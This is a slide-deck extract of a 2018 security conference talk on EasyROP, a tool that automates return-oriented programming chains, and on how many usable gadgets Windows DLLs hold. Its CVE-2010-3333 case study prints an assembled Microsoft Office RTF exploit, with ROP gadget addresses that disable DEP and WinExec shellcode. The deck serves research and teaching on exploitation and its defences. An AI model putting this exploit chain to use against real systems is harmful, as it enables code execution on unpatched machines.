SlideShare a Scribd company logo
When ROP meets Turing: Automatic Generation of
ROP Chains using Turing-Complete Instruction Sets
Daniel Uroz, Ricardo J. Rodríguez
danieluroz@protonmail.com, rjrodriguez@unizar.es
All wrongs reversed
ZARAGOZA
DO
CENDI
DISCEN
DI
NOS
VN
IT
ANIM
VS
2009
CENTRO UNIVERSITARIO DE LA DEFENS
A
March 01, 2018
RootedCON 2018
Madrid, Spain
$whoami
Teruel existe!
Graduado en Informática (2016)
Analista de malware en Grupo
S21sec
:D
Miembro de CLS (2001)
Ph.D. en Informática (2013)
Profesor en Centro Universitario de
la Defensa, AGM (Zaragoza)
Líneas de investigación
Security-driven engineering
Análisis de malware
Seguridad RFID/NFC
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 2 / 41
Agenda
1 Introduction
2 EasyROP: Description of the tool
3 Executional Adversary Power in Windows OSes
4 Case Study: CVE-2010-3333
5 Related Work
6 Conclusions
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 3 / 41
Agenda
1 Introduction
2 EasyROP: Description of the tool
3 Executional Adversary Power in Windows OSes
4 Case Study: CVE-2010-3333
5 Related Work
6 Conclusions
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 4 / 41
Introduction
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 5 / 41
Introduction
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 5 / 41
Introduction
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 5 / 41
Introduction
Johnson, P.; Gorton, D.; Lagerström, R. & Ekstedt, M. Time between vulnerability disclosures: A measure of software product
vulnerability.Computers & Security, 2016, 62, 278-295. doi: 10.1016/j.cose.2016.08.004
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 6 / 41
Introduction
∗Past performance is not guarantee of future results
Johnson, P.; Gorton, D.; Lagerström, R. & Ekstedt, M. Time between vulnerability disclosures: A measure of software product
vulnerability.Computers & Security, 2016, 62, 278-295. doi: 10.1016/j.cose.2016.08.004
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 6 / 41
Introduction
Software systems are large and complex
Fixed time-to-market urges developers to finish as soon as possible
Who cares of software quality? (or other attributes)
Consequence: software vulnerabilities on the rise
6 to 16 software bugs per 1,000 lines of code (approximately)
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 7 / 41
Introduction
Presence of software memory errors → control-flow hijacking attacks
Legitimate control-flow of the program is hijacked
Arbitrary code inserted AND executed by the adversary
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 8 / 41
Introduction
Presence of software memory errors → control-flow hijacking attacks
Legitimate control-flow of the program is hijacked
Arbitrary code inserted AND executed by the adversary
Different defense approaches
Control-flow integrity approaches (e.g., type-safe languages, stack cookies,
inline software guards)
Isolate malicious code prior execution (e.g., tainting, run-time elimination,
W⊕X)
Further reading:
van der Veen, V.; dutt Sharma, N.; Cavallaro, L. & Bos, H. Memory Errors: The Past, the Present, and the Future. Proceedings of the
15th International Symposium on Research in Attacks, Intrusions, and Defenses (RAID), Springer Berlin Heidelberg, 2012, 86-106. doi:
10.1007/978-3-642-33338-5_5
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 8 / 41
Introduction
W⊕X – Write-xor-Execute memory pages
Widely used defense mechanism against control-flow hijacking attacks
Almost every current OS incorporates it natively
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 9 / 41
Introduction
W⊕X – Write-xor-Execute memory pages
Widely used defense mechanism against control-flow hijacking attacks
Almost every current OS incorporates it natively
Concept: memory pages are either writable or executable, but not both
That is, the adversary may still inject code. However, execution is prevented
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 9 / 41
Introduction
W⊕X – Write-xor-Execute memory pages
Hardware support
NX-bit on AMD Athlon 64
XD-bit on Intel P4 Prescott
Software support
Linux (via PaX project); OpenBSD
Windows, since XP SP2 (aka Data
Execution Prevention, DEP)
Windows to rename every f***ing single thing
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 10 / 41
Introduction
Recap on stack-based buffer overflows
1 void readName(){
2 char username[256];
3 printf("Type user name: ");
4 scanf(" %s", username);
5 }
readName:
push ebp
mov ebp, esp
sub esp, 264
sub esp, 12
push OFFSET FLAT:.LC0
call printf
add esp, 16
sub esp, 8
lea eax, [ebp -264]
push eax
push OFFSET FLAT:.LC1
call __isoc99_scanf
add esp, 16
leave
ret
. . . −
%esp→
@username ← %ebp - 0x108

%ebp→ %ebp
@rtn address
. . . +
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 11 / 41
Introduction
Recap on stack-based buffer overflows
1 void readName(){
2 char username[256];
3 printf("Type user name: ");
4 scanf(" %s", username);
5 }
readName:
push ebp
mov ebp, esp
sub esp, 264
sub esp, 12
push OFFSET FLAT:.LC0
call printf
add esp, 16
sub esp, 8
lea eax, [ebp -264]
push eax
push OFFSET FLAT:.LC1
call __isoc99_scanf
add esp, 16
leave
ret
. . . −
%esp→
@username ← %ebp - 0x108

%ebp→ %ebp
@rtn address
. . . +
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 11 / 41
Introduction
Recap on stack-based buffer overflows
1 void readName(){
2 char username[256];
3 printf("Type user name: ");
4 scanf(" %s", username);
5 }
readName:
push ebp
mov ebp, esp
sub esp, 264
sub esp, 12
push OFFSET FLAT:.LC0
call printf
add esp, 16
sub esp, 8
lea eax, [ebp -264]
push eax
push OFFSET FLAT:.LC1
call __isoc99_scanf
add esp, 16
leave
ret
What if username is > 0x108 bytes long?
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 11 / 41
Introduction
Recap on stack-based buffer overflows
1 void readName(){
2 char username[256];
3 printf("Type user name: ");
4 scanf(" %s", username);
5 }
readName:
push ebp
mov ebp, esp
sub esp, 264
sub esp, 12
push OFFSET FLAT:.LC0
call printf
add esp, 16
sub esp, 8
lea eax, [ebp -264]
push eax
push OFFSET FLAT:.LC1
call __isoc99_scanf
add esp, 16
leave
ret
. . . −
%esp→
@username ← %ebp - 0x108

%ebp→ %ebp
@rtn address
(shellcode
begins)
... +
What if username is > 0x108 bytes long?
Adjacent memory to username is overwritten
Arbitrary code execution: ret pops the value from stack when function returns and set
it in %eip)!
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 11 / 41
Introduction
Defeating W⊕X protection
Control-flow is redirected to the stack
W⊕X prevents execution. Roughly speaking, you’re fucked
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 12 / 41
Introduction
Defeating W⊕X protection
Control-flow is redirected to the stack
W⊕X prevents execution. Roughly speaking, you’re fucked
Wait a minute!
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 12 / 41
Introduction
Defeating W⊕X protection
Control-flow is redirected to the stack
W⊕X prevents execution. Roughly speaking, you’re fucked
Wait a minute!
IDEA
Since we can write the stack... write memory addresses that point to
ALREADY EXISTING code → Return-Oriented Programming (ROP)
Namely, to memory pages that already have execution privileges
Since they can execute, they are not detected by W⊕X protection
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 12 / 41
Introduction
Defeating W⊕X protection
Control-flow is redirected to the stack
W⊕X prevents execution. Roughly speaking, you’re fucked
Wait a minute!
IDEA
Since we can write the stack... write memory addresses that point to
ALREADY EXISTING code → Return-Oriented Programming (ROP)
Namely, to memory pages that already have execution privileges
Since they can execute, they are not detected by W⊕X protection
ROP enables an adversary to induce arbitrary execution behavior
while injecting no code (just addresses to existing code!)
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 12 / 41
Introduction
Return-Oriented-Programming attacks
ROP attacks
Hijack control-flow without executing new code
Redirect control-flow to chunks of code already available in the
memory space of the process
Recall x86 ISA has variable size!
ROP gadget: set of instructions that ends with retn
b8 89 41 08 c3 mov eax, 0xc3084189
89 41 08 mov [ecx+8], eax
c3 ret
. . .
esp → 0x7c37638d → xor ecx, ecx; ret
0x7c341591 → neg ecx; ret
0x7c367042 → adc eax, ebx; ret
0x7c34779f → pop ecx; ret
0x5d345e7f
0x7c347f97 → mov [ecx], eax; ret
. . .
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 13 / 41
Introduction
Adversary controls the order of execution of ROP gadgets
ROP chain: set of ROP gadgets chained by the adversary
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 14 / 41
Introduction
Adversary controls the order of execution of ROP gadgets
ROP chain: set of ROP gadgets chained by the adversary
How to defeat W⊕X protection?
Build a ROP chain to deactivate the protection! First, set CPU registers to specific values.
Then,
Execute memprot() syscall in GNU/Linux
Execute SetDEPProcessPolicy() in Windows
. . .
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 14 / 41
Introduction
Adversary controls the order of execution of ROP gadgets
ROP chain: set of ROP gadgets chained by the adversary
How to defeat W⊕X protection?
Build a ROP chain to deactivate the protection! First, set CPU registers to specific values.
Then,
Execute memprot() syscall in GNU/Linux
Execute SetDEPProcessPolicy() in Windows
. . .
Executional adversary power
Depends on the already existing code in the process’s memory space
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 14 / 41
Introduction
Church-Turing hypothesis
Any real world computation can be translated into an equivalent
computation involving a Turing machine
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 15 / 41
Introduction
Church-Turing hypothesis
Any real world computation can be translated into an equivalent
computation involving a Turing machine
Under this hypothesis, we can build a Turing-machine that performs
equivalent computations as the ones performed by a ROP chain
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 15 / 41
Introduction
Turing-machine operations
Load a constant into a register (lc)
Move a register to another register (move)
Load a value from memory (load)
Store a value into memory (store)
Add and subtract a value from memory (add and sub, respectively)
Perform logic operations (xor, and, or, not)
Simplification by De Morgan’s Laws: and/or + xor/not
Perform conditional jumps (cond1, cond2)
First, transfer the value of a conditional flag to a general purpose register
Then, use such a register as an offset to modify the stack pointer register
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 16 / 41
Introduction
Turing-machine operations defined as ROP gadgets
xchg dst, src; push src; xor dst, dst; xor dst, dst;
ret; pop dst; ret; ret;
ret; add dst, src; neg src;
ret; ret;
sub dst, src;
ret;
Examples of Move a register to another register (move) operation
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 17 / 41
Introduction
Turing-machine operations defined as ROP gadgets
xchg dst, src; push src; xor dst, dst; xor dst, dst;
ret; pop dst; ret; ret;
ret; add dst, src; neg src;
ret; ret;
sub dst, src;
ret;
Examples of Move a register to another register (move) operation
Work Hypothesis
If we find at least a single gadget that allow to perform each of those
Turing-machine operations, we can solve any computational problem
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 17 / 41
Introduction
Goal: evaluate (easily) the executional adversary power
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 18 / 41
Introduction
Goal: evaluate (easily) the executional adversary power
Main contributions
EasyROP tool
Input: binary + ROP chain (specified as Turing operations)
Output: set of ROP gadgets to implement such a chain
Evaluation of the executional adversary power in Windows OSes
Still the predominant platform of attacks
32-bits and 64-bits versions
Example of ROP chain generation with a real vulnerability
Namely, CVE-2010-3333
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 18 / 41
Agenda
1 Introduction
2 EasyROP: Description of the tool
3 Executional Adversary Power in Windows OSes
4 Case Study: CVE-2010-3333
5 Related Work
6 Conclusions
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 19 / 41
EasyROP: Tool Description
Analysis
Multi-platform
Automate building of ROP chains using sequences of Turing
operations
Allow extension (other architectures, user-defined operations)
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 20 / 41
EasyROP: Tool Description
Analysis
Multi-platform
Automate building of ROP chains using sequences of Turing
operations
Allow extension (other architectures, user-defined operations)
External tools used
Python3 + pefile
Capstone Disassembly Framework
Our tool is part of the Capstone’s showcases!
XML
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 20 / 41
EasyROP: Description of the tool
Features
Automate the creation of ROP chains
add(reg2, reg1)
lc(reg3)
store(reg3, reg2)
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 21 / 41
EasyROP: Description of the tool
Features
Automate the creation of ROP chains
add(reg2, reg1)
lc(reg3)
store(reg3, reg2)
−→
xor ecx, ecx; ret
neg ecx; ret
adc eax, ebx; ret
pop ecx; ret
mov [ecx], eax; ret
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 21 / 41
EasyROP: Description of the tool
Features
Creation of user-specified operation using XML
[src]: direcci´on de fuente alojada en un registro.
{eax, ebx, ecx...}: registro espec´ıfico de prop´osito general.
[{eax, ebx, ecx...}]: direcci´on alojada en un registro espec´ıfico de prop´osito
general.
<reg{1,2} value ="0xFFFFFFFF">: valor obligatorio del registro.
<?xml version="1.0" encoding="UTF−8"?>
<!DOCTYPE operations [
<!ELEMENT operations (operation)+>
<!ELEMENT operation (set)+>
<!ATTLIST operation
name CDATA #REQUIRED>
<!ELEMENT set (ins)+>
<!ELEMENT ins (reg1 | reg2)∗>
<!ATTLIST ins
mnemonic CDATA #REQUIRED>
<!ELEMENT reg1 (#PCDATA)>
<!ATTLIST reg1
value CDATA #IMPLIED>
<!ELEMENT reg2 (#PCDATA)>
<!ATTLIST reg2
value CDATA #IMPLIED>
]>
<operations>
<operation name="move">
<set>
<ins mnemonic="xor">
<reg1>dst</reg1>Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 22 / 41
EasyROP: Description of the tool
Features
Creation of user-specified operation using XML
[src]: direcci´on de fuente alojada en un registro.
{eax, ebx, ecx...}: registro espec´ıfico de prop´osito general.
[{eax, ebx, ecx...}]: direcci´on alojada en un registro espec´ıfico de prop´osito
general.
<reg{1,2} value ="0xFFFFFFFF">: valor obligatorio del registro.
<?xml version="1.0" encoding="UTF−8"?>
<!DOCTYPE operations [
<!ELEMENT operations (operation)+>
<!ELEMENT operation (set)+>
<!ATTLIST operation
name CDATA #REQUIRED>
<!ELEMENT set (ins)+>
<!ELEMENT ins (reg1 | reg2)∗>
<!ATTLIST ins
mnemonic CDATA #REQUIRED>
<!ELEMENT reg1 (#PCDATA)>
<!ATTLIST reg1
value CDATA #IMPLIED>
<!ELEMENT reg2 (#PCDATA)>
<!ATTLIST reg2
value CDATA #IMPLIED>
]>
<operations>
<operation name="move">
<set>
<ins mnemonic="xor">
<reg1>dst</reg1>
8 <!ELEMENT ins (reg1 | reg2)∗>
9 <!ATTLIST ins
10 mnemonic CDATA #REQU
11 <!ELEMENT reg1 (#PCDATA)>
12 <!ATTLIST reg1
13 value CDATA #IMPLIED>
14 <!ELEMENT reg2 (#PCDATA)>
15 <!ATTLIST reg2
16 value CDATA #IMPLIED>
17 ]>
18 <operations>
19 <operation name="move">
20 <set>
21 <ins mnemonic="xor">
22 <reg1>dst</reg1>
23 <reg2>dst</reg2>
24 </ins>
25 <ins mnemonic="add">
26 <reg1>dst</reg1>
27 <reg2>src</reg2>
28 </ins>
29 </set>
30 </operation>
31 </operations>
C´odigo 3.1: Fichero XML con su DT
un conjunto.
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 22 / 41
EasyROP: Description of the tool
Release notes
Released under GNU GPLv3 license, hosted on GitHub:
https://github.com/uZetta27/EasyROP
Page 1 of 1
Page 1 of 1
30/09/2016file:///C:/Users/uzett/Downloads/Octicons-mark-github.svg
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 23 / 41
Agenda
1 Introduction
2 EasyROP: Description of the tool
3 Executional Adversary Power in Windows OSes
4 Case Study: CVE-2010-3333
5 Related Work
6 Conclusions
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 24 / 41
Executional Adversary Power in Windows OSes
Experimental test-bed
Search for all Turing-machine operations on Windows
Subset of KnownDLLs Windows object (+ ntdll.dll)
Contains most used system DLLs: advapi32.dll, comdlg32.dll, gdi32.dll,
kernel32.dll, ole32.dll, rpcrt4.dll, shell32.dll,user32.dll, wldap32.dll
ntdll.dll is part of Windows PE loader (always in memory!)
Test environment
Intel Core i7, 8GB RAM, 256 GB SSD
Oracle VirtualBox: 4GB RAM, 32GB HDD
Operating Systems (32/64 bits)
Windows XP Professional
Windows 7 Professional
Windows 8.1 Pro
Windows 10 Education
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 25 / 41
Executional Adversary Power in Windows OSes
Experimental test-bed
Search for all Turing-machine operations on Windows
Subset of KnownDLLs Windows object (+ ntdll.dll)
Contains most used system DLLs: advapi32.dll, comdlg32.dll, gdi32.dll,
kernel32.dll, ole32.dll, rpcrt4.dll, shell32.dll,user32.dll, wldap32.dll
ntdll.dll is part of Windows PE loader (always in memory!)
Test environment
Intel Core i7, 8GB RAM, 256 GB SSD
Oracle VirtualBox: 4GB RAM, 32GB HDD
Operating Systems (32/64 bits)
Windows XP Professional
Windows 7 Professional
Windows 8.1 Pro
Windows 10 Education
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 25 / 41
Executional Adversary Power in Windows OSes
Evaluation
Version 32-bit 64-bit
Windows XP  
Windows 7  
Windows 8.1  
Windows 10  
Summary of results
shell32.dll + {ntdll.dll, kernel32.dll}: enough gadgets to
conform all Turing-machine operations
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 26 / 41
Executional Adversary Power in Windows OSes
Evaluation
Version 32-bit 64-bit
Windows XP  
Windows 7  
Windows 8.1  
Windows 10  
Summary of results
shell32.dll + {ntdll.dll, kernel32.dll}: enough gadgets to
conform all Turing-machine operations
All operations but conditional jumps −→ 100 % in all OSes with just
ntdll.dll!!!
Conditional jumps are unusual operations when exploiting
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 26 / 41
Agenda
1 Introduction
2 EasyROP: Description of the tool
3 Executional Adversary Power in Windows OSes
4 Case Study: CVE-2010-3333
5 Related Work
6 Conclusions
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 27 / 41
Case Study: CVE-2010-3333
Microsoft Office vulnerability
Affected versions: Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office
2010, Office 2004 and 2008 for Mac, and Office for Mac 2011
Disclosed in September 2010
Subsequently patched in MS10-087 (published in November 09, 2010)
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 28 / 41
Case Study: CVE-2010-3333
Microsoft Office vulnerability
Affected versions: Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office
2010, Office 2004 and 2008 for Mac, and Office for Mac 2011
Disclosed in September 2010
Subsequently patched in MS10-087 (published in November 09, 2010)
November 2012: attack to NATO’s Special Operations Headquarters
Attack was delivered via spear phishing attaching a specially crafted Rich Text
Format (RTF) document exploiting CVE-2010-333
RTF file starts with the tag “{rtf1” and consists of unformatted text, control words,
control symbols, and groups enclosed in braces
{rtf1{
....
{shp{sp{sn pFragments}{sv value}}}
}
}
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 28 / 41
Case Study: CVE-2010-3333
Microsoft Office vulnerability
Affected versions: Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office
2010, Office 2004 and 2008 for Mac, and Office for Mac 2011
Disclosed in September 2010
Subsequently patched in MS10-087 (published in November 09, 2010)
November 2012: attack to NATO’s Special Operations Headquarters
Attack was delivered via spear phishing attaching a specially crafted Rich Text
Format (RTF) document exploiting CVE-2010-333
RTF file starts with the tag “{rtf1” and consists of unformatted text, control words,
control symbols, and groups enclosed in braces
{rtf1{
....
{shp{sp{sn pFragments}{sv value}}}
}
}
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 28 / 41
Case Study: CVE-2010-3333
Stack-based BOF in function in charge of parsing RTF file
Example: MSO.DLL 11.0.5606
MD5 251C11444F614DE5FA47ECF7275E7BF1
Microsoft Office 2003 suite
1 0x30f4cc5d push ebp
2 0x30f4cc5e mov ebp, esp
3 0x30f4cc60 sub esp, 0x14
4 (...)
5 0x30f4cc93 call dword [eax + 0x1c] ; calls to MSO.30e9eb62
6 0x30f4cc96 mov eax, dword [ebp + 0x14]
7 0x30f4cc99 push dword [ebp + 0x18]
8 0x30f4cc9c mov edx, dword [ebp - 0x10]
9 0x30f4cc9f neg eax
10 0x30f4cca1 sbb eax, eax
11 0x30f4cca3 lea ecx, [ebp - 8]
12 0x30f4cca6 and eax, ecx
13 0x30f4cca8 push eax
14 0x30f4cca9 push dword [ebp + 8]
15 0x30f4ccac call 0x30f4cb1d
16 0x30f4ccb1 test al, al
17 0x30f4ccb3 je 0x30f4cd51
18 (...)
19 0x30f4cd51 pop esi
20 0x30f4cd52 pop ebx
21 0x30f4cd53 pop edi
22 0x30f4cd54 leave
23 0x30f4cd55 ret 0x14
1 0x30e9eb62 push edi
2 0x30e9eb63 mov edi, dword [esp + 0xc]
3 0x30e9eb67 test edi, edi
4 0x30e9eb69 je 0x30e9eb92
5 0x30e9eb6b mov eax, dword [esp + 8]
6 0x30e9eb6f mov ecx, dword [eax + 8]
7 0x30e9eb72 and ecx, 0xffff
8 0x30e9eb78 push esi
9 0x30e9eb79 mov esi, ecx
10 0x30e9eb7b imul esi, dword [esp + 0x14]
11 0x30e9eb80 add esi, dword [eax + 0x10]
12 0x30e9eb83 mov eax, ecx
13 0x30e9eb85 shr ecx, 2
14 0x30e9eb88 rep movsd es:[edi], dword ptr [esi]
15 0x30e9eb8a mov ecx, eax
16 0x30e9eb8c and ecx, 3
17 0x30e9eb8f rep movsb es:[edi], byte ptr [esi]
18 0x30e9eb91 pop esi
19 0x30e9eb92 pop edi
20 0x30e9eb93 ret 0xc
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 29 / 41
Case Study: CVE-2010-3333
Building the ROP chain
We only need to pass to this function a zero value ¨
Assume that the function address is known
After executing it, we can directly jump to our shellcode at the stack
We need to know the address of esp value
We could also jump to a ROP gadget containing a divert to the stack. . .
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 30 / 41
Case Study: CVE-2010-3333
eax ????
ecx ????
edx ????
ebx 00000000
esp address3
ebp @SetProcessDEPPolicy()
esi address1
edi address1
eip ????
esp → address1 (value of edi)
address1 (value of esi)
@SetProcessDEPPolicy() (value of ebp)
address3 (value of esp)
00000000 (value of ebx)
???? (value of edx)
???? (value of ecx)
???? (value of eax)
address3 → (exploit payload)
(...)
CPU state Stack state
(before pushad) (after pushad)
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 31 / 41
Case Study: CVE-2010-3333
nop()
lc(edi)
lc(esi)
lc(ebx)
lc(ebp)
pushad()
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 32 / 41
Case Study: CVE-2010-3333
nop()
lc(edi)
lc(esi)
lc(ebx)
lc(ebp)
pushad()
MSO.DLL file as input
No ASLR compatible ¨
Execution parameter depth 2
∼ 72 seconds
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 32 / 41
Case Study: CVE-2010-3333
nop()
lc(edi)
lc(esi)
lc(ebx)
lc(ebp)
pushad()
nop()
...
0x30c92448: ret
lc(edi)
...
0x30cae25c: pop edi ; ret
lc(esi)
...
0x30ca32fd: pop esi ; ret
lc(ebx)
...
0x30ca3654: pop ebx ; ret
lc(ebp)
...
0x30ca32d1: pop ebp ; ret
pushad()
...
0x30ce03b5: pushal ; ret
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 32 / 41
Case Study: CVE-2010-3333
1 33C0 xor eax, eax
2 50 push eax
3 6863616C63 push ’calc’
4 8BC4 mov eax, esp
5 6A05 push 5
6 50 push eax
7 BFFDE53377 mov edi, kernel32.WinExec
8 FFD7 call edi
1 {rtf1{shp{sp{sn pFragments}{sv 1;4;010
2 0020000014141414141414141414141414141414141
3 4141414824c93000000000000000000000000000000
4 00000000000
5 5ce2ca30
6 4824c930
7 fd32ca30
8 4824c930
9 5436ca30
10 00000000
11 d132ca30
12 2f602e77
13 b503ce30
14 33c0506863616c638bc46a0550bffde53377ffd7}}}}
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 33 / 41
Case Study: CVE-2010-3333
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 33 / 41
Agenda
1 Introduction
2 EasyROP: Description of the tool
3 Executional Adversary Power in Windows OSes
4 Case Study: CVE-2010-3333
5 Related Work
6 Conclusions
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 34 / 41
Related Work
ROP and Turing theory contributions (ask us for full references)
S-CCS-07 thesis: In any sufficiently large body of x86 executable code,
there will exist sufficiently many useful code sequences that an attacker
[may] undertake [any] arbitrary computation
shell32.dll: 21MB on Windows 10 (x86-64) – fair enough ¨
M-TechReport-08 Classification of ROP gadgets, according to where you
return (ret2text, ret2bss, ret2data, ret2heap)
CDDSSW-CCS-10 No need of retn instructions
Jump-Oriented Programming (JOP): pop reg;jmp *reg
RBSS-TISS-12 Set of Turing-complete gadgets for Linux/x86 and
Solaris/SPARC
BB-SP-14 Sigreturn-Oriented Programming (SROP). Turing-complete
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 35 / 41
Related Work
Solutions against ROP attacks (ask us for full references)
Dynamic Binary Instrumentation (DBI)
ROPDefender shadow stack
DROP monitor of retn instructions (detects ROP gadgets ≤ 5 instructions)
/ROP whitelisting legitimate return addresses
ROPGuard monitoring Windows functions (CreateProcess,
VirtualProtect, VirtualAlloc, LoadLibrary)
kBouncer use of Intel LBR records
Disjoint Code Layouts (DLC) execution and replication of multiple run-time
variants of the same application under the control of a monitor
Ask us for full references, if interested
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 36 / 41
Related Work
Other ROP-related tools (ask us for full references)
Q: automatically generates ROP payloads in Linux (not Turing-complete)
Braille (Ruby): creates automatically a shellcode for a particular target
(namely, a Linux server)
Defeats ASLR + stack cookies defenses
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 37 / 41
Related Work
Other ROP-related tools (ask us for full references)
Q: automatically generates ROP payloads in Linux (not Turing-complete)
Braille (Ruby): creates automatically a shellcode for a particular target
(namely, a Linux server)
Defeats ASLR + stack cookies defenses
ROPgadget (Python): search for ROP gadgets in a given binary
Ropper: similar to ROPgadget, allows to create predefined shellcodes
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 37 / 41
Agenda
1 Introduction
2 EasyROP: Description of the tool
3 Executional Adversary Power in Windows OSes
4 Case Study: CVE-2010-3333
5 Related Work
6 Conclusions
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 38 / 41
Conclusions
EasyROP tool (https://github.com/uZetta27/EasyROP)
Automates the construction of a ROP chain specified as Turing machine operations
Allows user-defined operations using XML
Existence of ROP gadgets determines the executional adversary power
